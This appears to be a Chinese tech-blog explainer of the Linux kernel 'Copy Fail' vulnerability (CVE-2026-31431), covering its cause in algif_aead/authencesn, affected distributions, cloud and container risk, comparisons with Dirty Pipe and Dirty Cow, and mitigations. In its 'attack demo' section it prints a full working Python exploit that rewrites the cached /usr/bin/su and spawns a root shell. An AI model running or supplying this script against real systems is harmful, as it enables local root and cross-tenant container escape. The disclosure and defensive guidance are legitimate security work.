云计划

Linux 爆出九年来最致命漏洞,Copy Fail:732 字节获取 root,云厂商全线告急

2,432完整阅读约 8 分钟

CVE-2026-31431 技术解读——Linux 内核加密子系统中沉睡 9 年的逻辑漏洞,732 字节 Python 脚本,任何主流发行版,一击拿 root。

漏洞从哪来?

2017 年,Linux 内核的 algif_aead 模块引入了一项"原地优化"(in-place optimization)。优化本身很合理:当加密操作的源和目标指向同一块内存时,可以省掉一次拷贝。

但问题出在 authencesn 这个 AEAD 算法的实现上。它在处理 AAD ESN 字节时,把调用者的目标缓冲区当成了临时草稿区(scratch pad),在合法输出区域之后多写了 4 个字节,并且从未恢复它们

这就是 "Copy Fail" 名字的由来——该拷贝的地方,拷贝失败了。

通过 AF_ALG 套接字 + splice() 系统调用的组合,攻击者可以让页缓存中的页面(page-cache pages)进入加密子系统的可写目标 scatterlist。于是这 4 个字节的越界写入,直接落到了页缓存中。


为什么这个漏洞如此危险?

特性典型 Linux LPECopy Fail
前置条件必须
特定版本必须
可靠性30%–80%100%,单次命中
影响窗口窄内核版本范围2017 → 2026(9 年)

四个几乎不会同时出现在同一个漏洞中的特性:

  • 可移植——同一个脚本,Ubuntu、Amazon Linux、RHEL、SUSE 全部通杀。
  • 微型——732 字节的 Python 脚本,仅依赖标准库(ossocketzlib)。无编译载荷,无外部依赖。
  • 隐蔽——写入绕过了 VFS 路径,被篡改的页缓存不会被标记为 dirty。没有任何东西落到磁盘上。系统重启后,缓存从磁盘重新加载,文件恢复原状。取证镜像显示的是未修改的原始文件。
  • 跨容器——页缓存在宿主机上全局共享。一个拥有正确原语的 Pod 可以攻破整个节点,跨越租户边界——这是容器逃逸原语,而不仅仅是本地提权。

攻击演示

同一个 732 字节脚本,在四个不同发行版上同时执行:

python
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

就这么简单。不需要编译,不需要安装工具,一条命令,root 到手。

已验证受影响的发行版:

发行版内核版本
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 14.36.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

Debian、Arch、Fedora、Rocky、Alma、Oracle Linux 等其他运行受影响内核的发行版同样受影响。


谁最该担心?

云厂商以及saas服务商已经在瑟瑟发抖了

风险等级场景原因
高危多租户 Linux 主机共享开发机、跳板机、构建服务器——任何多用户共享内核的环境
高危Kubernetes / 容器集群页缓存在宿主机上共享,Pod 可以攻破节点并跨越租户边界
高危CI/CD RunnerGitHub Actions 自托管 Runner、GitLab Runner、Jenkins Agent——执行不可信 PR 代码的环境
高危运行用户代码的云 SaaSNotebook 托管、Agent 沙箱、Serverless 函数——任何租户可以执行代码的环境
中危标准 Linux 服务器单租户生产环境,仅团队有 shell 访问权限
低危单用户笔记本/工作站你已经是唯一用户,漏洞本身不授予远程攻击者访问权限

技术细节:页缓存而非磁盘

攻击的目标为什么是页缓存而不是磁盘上的文件?

因为页缓存是内核加载二进制文件时使用的内存副本。修改 /usr/bin/su 的缓存副本——对 execve 而言——等同于修改二进制文件本身,但磁盘上没有任何变化:没有 inotify 触发,没有校验和不匹配。

这使得常规的文件完整性检测工具(AIDE、Tripwire)在攻击窗口期内可以检测到异常(因为它们通过 read() 读取,走的是同一条页缓存路径),但一旦页面被驱逐或系统重启,一切恢复如初。取证调查时,磁盘镜像显示的是完好无损的原始文件。


与 Dirty Pipe 和 Dirty Cow 的对比

vs Dirty Pipe(CVE-2022-0847):

同属一个家族——无特权用户空间的页缓存篡改,无磁盘修改,写入 setuid 二进制文件获取 root。但机制不同:Dirty Pipe 滥用 pipe buffer 标志,Copy Fail 滥用 AEAD 的越界写入穿透 scatterlist 边界。

Copy Fail 更具可移植性。Dirty Pipe 需要内核 ≥ 5.8 且带有特定补丁;Copy Fail 覆盖整个 2017–2026 窗口。

vs Dirty Cow(CVE-2016-5195):

Dirty Cow 需要在 COW 路径中赢得 TOCTOU 竞态窗口——多次尝试,偶尔还会导致系统崩溃。Copy Fail 是直线代码(straight-line code),没有竞态,100% 命中。


补救方案

1. 打补丁(首选方案)

更新内核到包含主线 commit a664bf3d603d 的版本。该补丁回退了 2017 年的 algif_aead 原地优化,确保页缓存页面不再出现在可写的目标 scatterlist 中。主流发行版已经开始推送修复。

2. 禁用 algif_aead 模块:

plaintext
# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# rmmod algif_aead 2>/dev/null || true

这会影响什么?对绝大多数系统——没有任何可感知的影响

  • 不受影响:dm-crypt/LUKS、kTLS、IPsec/XFRM、OpenSSL/GnuTLS/NSS 默认构建、SSH、内核密钥环加密。这些直接使用内核加密 API,不走 AF_ALG
  • 可能受影响:显式配置使用 AF_ALG 的用户空间程序——例如启用 afalg 引擎的 OpenSSL、某些嵌入式加密卸载路径。
  • 性能AF_ALG 是用户空间访问内核加密 API 的前门。禁用它不会减慢任何原本就没在调用它的东西。

3. 深度防御

对于不可信工作负载(容器、沙箱、CI),无论补丁状态如何,都应通过 seccomp 阻止 AF_ALG 套接字创建。


结论

Copy Fail 是一个教科书级别的逻辑漏洞案例。它不需要复杂的利用技术,不依赖脆弱的竞态窗口,不针对特定内核版本。一个 9 年前引入的性能优化,在一行直线代码中沉睡了近十年。


参考来源:copy.fail | CVE-2026-31431 | 发现者:Xint Code